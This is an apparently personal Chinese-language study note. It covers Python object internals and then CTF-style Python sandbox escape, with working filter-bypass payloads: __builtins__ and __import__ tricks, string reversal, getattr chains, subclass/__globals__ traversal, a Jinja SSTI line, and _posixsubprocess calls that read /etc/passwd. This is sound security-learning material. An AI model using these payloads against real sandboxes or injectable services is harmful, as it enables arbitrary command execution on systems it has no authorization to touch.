基础补充

对象

在python中一切皆对象,而每个对象都有标志,唯一表示,值

>>> num = 42
>>> print(type(num))
<class 'int'>
>>> print(id(num))
140247156393488
>>> 
  1. type函数

    • 返回对象的类型,即对象是由什么类创建的
    • 类本身也是类,而类的类型是type(元类)
    >>> id = 1
    >>> type(id)
    <class 'int'>
    >>> type(type(id))
    <class 'type'>
    >>> 
    
  2. id函数

    • 输出对象的内存地址

类和实例 (class and instance)

简单一句话就是,类是对象的模板,实例是类的具体实现。

在python中实现是

class hack:
	def test(self):
		print("hAcK!")
		
boom = hack() #基于hack模板创建实例
boom.test()   #调用创建的方法

对象的属性和方法

  • 属性 对象所携带的变量
  • 方法 对象执行的操作(函数)
class Cat:
	def __init__(self,name):
		self.name = name #属性
	
	def getname(self):
		print(self.name)

cat = Cat("miao")
print(cat.name)
cat.getname()

魔术方法

python中的魔术方法使用下划线包裹,使用与php的魔术方法类似

  • __init__ 初始化对象,在实例创建时被调用
  • __str__ 定义对象的字符串表示,已字符串形式输出时被调用
  • __getattr__ 访问不存在的属性时触发
  • __getattribute__ 访问任意属性触发
  • __dict__ 存储对象属性字典触发
class Vector:
    def __init__(self, x, y):
        self.x = x
        self.y = y
    
    def __str__(self):
        return f"Vector({self.x}, {self.y})"

v = Vector(3, 4)
print(v)  # 自动调用 __str__ → "Vector(3, 4)"

继承与多态

  • 集成:子类集成父类的属性与方法
  • 多态:子类可以重写父类的方法
class Animal:
    def speak(self):
        raise NotImplementedError

class Duck(Animal):
    def speak(self):   # 方法重写
        print("Quack!")

duck = Duck()
duck.speak()  # 输出 "Quack!"

特殊属性

  • __class__ :获取对象的类

  • __bases__ :获取父类元组

  • __dict__ :查看对象/类的属性字典,可以通过字符串直接获取对象

  • __mro__ :用于展示集成关系,会一直递归到object ,以元组返回

    >>> "".__class__.__mro__
    (<class 'str'>, <class 'object'>)
    
  • __base__ :与bases差不多,不过bases返回的是元组

    >>> "".__class__.__bases__
    (<class 'object'>,)
    >>> "".__class__.__base__
    <class 'object'>
    
  • __builtins__ 这是一个python的内建模块,包含所有内置函数,异常,类型,配合上前面的__dict__ 可以构建出一个简单的命令执行

    __builtins__.__dict__['__import__']('os').system('id')
    
  • __subclasses__ 用于获取子类,在ssti中学习过相关用法

    >>> print(X.__mro__[1].__subclasses__())
    [<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class '
    >>> class X(object):pass
    ... 
    >>> class a(X):pass
    ... 
    >>> print(X.__subclasses__)
    <built-in method __subclasses__ of type object at 0x555d95f4f950>
    >>> print(X.__subclasses__())
    [<class '__main__.a'>]
    

    __globals__返回一个字典,包含函数所在模块的所有全局变量

s = "hello"
print(s.__class__)          # <class 'str'>
print(str.__bases__)        # (<class 'object'>,)
print(s.__dict__)           # 报错(str 实例无 __dict__)
print(str.__dict__.keys())  # 查看字符串类的所有属性和方法

可用模块

一些常规的命令执行与文件读取之类的模块和方法

  1. os

    import os
    os.system('whoami')
    os.popen("whoami").read()
    

    system和popen还是有点区别的,前者直接执行命令,后者执行命令执行返回文件对象

  2. subprocess 模块

    简单来说就是一个高级的os模块,使用起来也更加简单

    >>> subprocess.run("id")
    uid=1000(neko) gid=1001(neko) 组=1001(neko),11(audio),12(video),15(cdrom),974(ollama),997(wheel),999(plugdev),1002(gamemode)
    CompletedProcess(args='id', returncode=0)
    
  3. sys 模块

  4. 常理来说,使用sys.modules作为存储了当前Python解释器已导入所有模块的字典,需要在导入后才能,但不知道为什么在os模块没有被引入的情况下依旧可以调用

    import sys 
    sys.modules['os'].system('whoami') # 访问已加载的os模块
    

    同样情况下subprocess 则无法直接调用,需要提前引入

    >>> sys.modules['subprocess'].run('whoami')
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    KeyError: 'subprocess'
    >>> import subprocess
    >>> sys.modules['subprocess'].run('whoami')
    neko
    CompletedProcess(args='whoami', returncode=0)
    
  5. pty伪终端

    import pty
    pty.spawn("ls")
    
  6. timeit 模块

    用来测试代码速度的,与eval类似,如果可控可以代码执行

    import timeit
    timeit.timeit("__import__('os').system('whoami')",number=1)
    
  7. eval 模块

    这个就不多说了

“沙箱”

在python中似乎没有类似nodejsVM VM2那种使用非常广泛的沙箱,多数沙箱逃逸要逃逸的都是题目对于代码的输入检测

import

对模块的引入,除了常见的

import os
__import__('os').system('id')

如果不运行直接import os却可以引入其他的包,则可以尝试

__import__('importlib').import_module('os').system('id')

通过引入importlib包(import的底层实现),在通过其引入其他包来实现需要的功能

或者也可以尝试通过__builtins__ +__dict__ 的方式,获取builtins的属性字典(上面有提到),在通过键查找获取函数对象,调用到__import__ 函数

__builtins__.__dict__['__import__']('os').system('id')

使用__loader__ 引入

__loader__.load_module('os').system('id')

但这个只能加载内置模块,不过有一点很奇怪,按照官方的说法,os并非内置模块,为什么他能被调用

>>> import sys
>>> print(sys.builtin_module_names)
('_abc', '_ast', '_codecs', '_collections', '_functools', '_imp', '_io', '_locale', '_operator', '_signal', '_sre', '_stat', '_string', '_symtable', '_thread', '_tracemalloc', '_warnings', '_weakref', 'atexit', 'builtins', 'errno', 'faulthandler', 'gc', 'itertools', 'marshal', 'posix', 'pwd', 'sys', 'time', 'xxsubtype')
>>> __loader__.load_module('os').system('id')
uid=1000(neko) gid=1001(neko) 组=1001(neko),11(audio),12(video),15(cdrom),974(ollama),997(wheel),999(plugdev),1002(gamemode)
0
>>> 

文件包含

文件读取引入

  1. python2

    neko@aosc-neko205 [ ~ ] $ python
    Python 2.7.18 (default, Mar  3 2025, 05:12:09) 
    [GCC 14.2.0 20240801 (AOSC OS, Core)] on linux2
    Type "help", "copyright", "credits" or "license" for more information.
    >>> execfile('/usr/lib/python2.7/os.py')
    >>> system('ls')
     1.py                       Games                PycharmProjects
    0
    >>> 
    
  2. python3

    neko@aosc-neko205 [ ~ ] $ python3
    Python 3.10.13 (main, May  5 2025, 03:16:01) [GCC 14.2.0 20240801 (AOSC OS, Core)] on linux
    Type "help", "copyright", "credits" or "license" for more information.
    >>> exec(open('/usr/lib/python3.10/os.py').read())
    >>> system("id")
    uid=1000(neko) gid=1001(neko) 组=1001(neko),11(audio),12(video),15(cdrom),974(ollama),997(wheel),999(plugdev),1002(gamemode)
    0
    >>> 
    

    常见的python路径一般在/usr/lib/python3.10 下,或者可以使用sys.path来查看路径

字符变形

有时候会出现字符串被过滤的情况,例如过滤os,过滤了subprocess,之类的

字符翻转,拼接

__import__('so'[::-1]).system('sl'[::-1])
__import__('o'+'s').system('sl'.decode('base64'))

f修饰符

f-string,从python3.6引入,在使用修饰符后允许在字符串中添加表达式

f'{__import__("os").system("whoami")}'

getattr函数执行

getattr的作用是获取一个对象的指定属性,所以可以构造出,获取os模块中的system属性,构造出os.system

getattr(os,'system')('id')

下面是一个双层getattr 函数调用

getattr(getattr(__builtins__, '__import__')('os'), 'system')('whoami')

先通过getattr(__builtins__, '__import__')('os')__builti__ 中获取__import__ 函数,引入os在使用一个getattr使用ossystem调用执行命令

继承关系逃逸(类似ssti)

与ssti是差不多的,基本就是

拿基类->找子类->构造命令->执行

先找到对象的类,而后找到基类,在通过基类去找字类

for i in enumerate(''.__class__.__mro__[-1].__subclasses__()):print(i)

假设目标是<class 'os._wrap_close'> 那么在确定下标后就可以定位,使用globals调用system

''.__class__.__mro__[-1].__subclasses__()[137].__init__.__globals__['system']('whoami')

如果条件允许还可以使用for循环遍历来省去第一步

for i in range(200):
    try:
        ''.__class__.__mro__[-1].__subclasses__()[i].__init__.__globals__['system']('id')
    except:
        pass

或者使用列表推导式来过滤想要的类

[i for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "_wrap_close"][0].__init__.__globals__['system']('whoami')

在有的时候object 可以直接使用时,则可以简化payload

object.__subclasses__()[137].__init__.__globals__['system']('whoami')
[i for i in object.__subclasses__() if i.__name__ == "_wrap_close"][0].__init__.__globals__['system']('whoami')

基于_posixsubprocess的沙箱逃逸

资料并不多,目前收集到的且不同版本调用时传的值数量也不一样

import _posixsubprocess
import os

_posixsubprocess.fork_exec([b"/usr/bin/cat","/etc/passwd"], [b"/usr/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)

或者

import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False

小技巧

子类遍历加索引

for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print(i)

确定内建函数

{{().__class__.__base__.__subclasses__()[x].__init__.__globals__}}

查找属性名

>>> print(dir([cls for cls in ().__class__.__bases__[0].__subclasses__() if cls.__name__ == 'catch_warnings'][0].__init__.__globals__['linecache']))

['__all__', '__builtins__', '__doc__', '__file__', '__name__', '__package__', 'cache', 'checkcache', 'clearcache', 'getline', 'getlines', 'os', 'sys', 'updatecache']

查看

参考

Python中 os.popen、os.system和subprocess.popen方法介绍-CSDN博客

Python3 subprocess | 菜鸟教程

Python 沙箱逃逸 – View of Thai

pty — 伪终端工具

importlib — import 的实现

Security-Learning/PythonSec/Python安全学习—Python沙盒逃逸/Python安全学习—Python沙盒逃逸.md at main · H3rmesk1t/Security-Learning

SSTI注入 - Hello CTF

CTFtime.org / hxp CTF 2021 / audited2 / Writeup

Python内置模块与标准库 - impluse - 博客园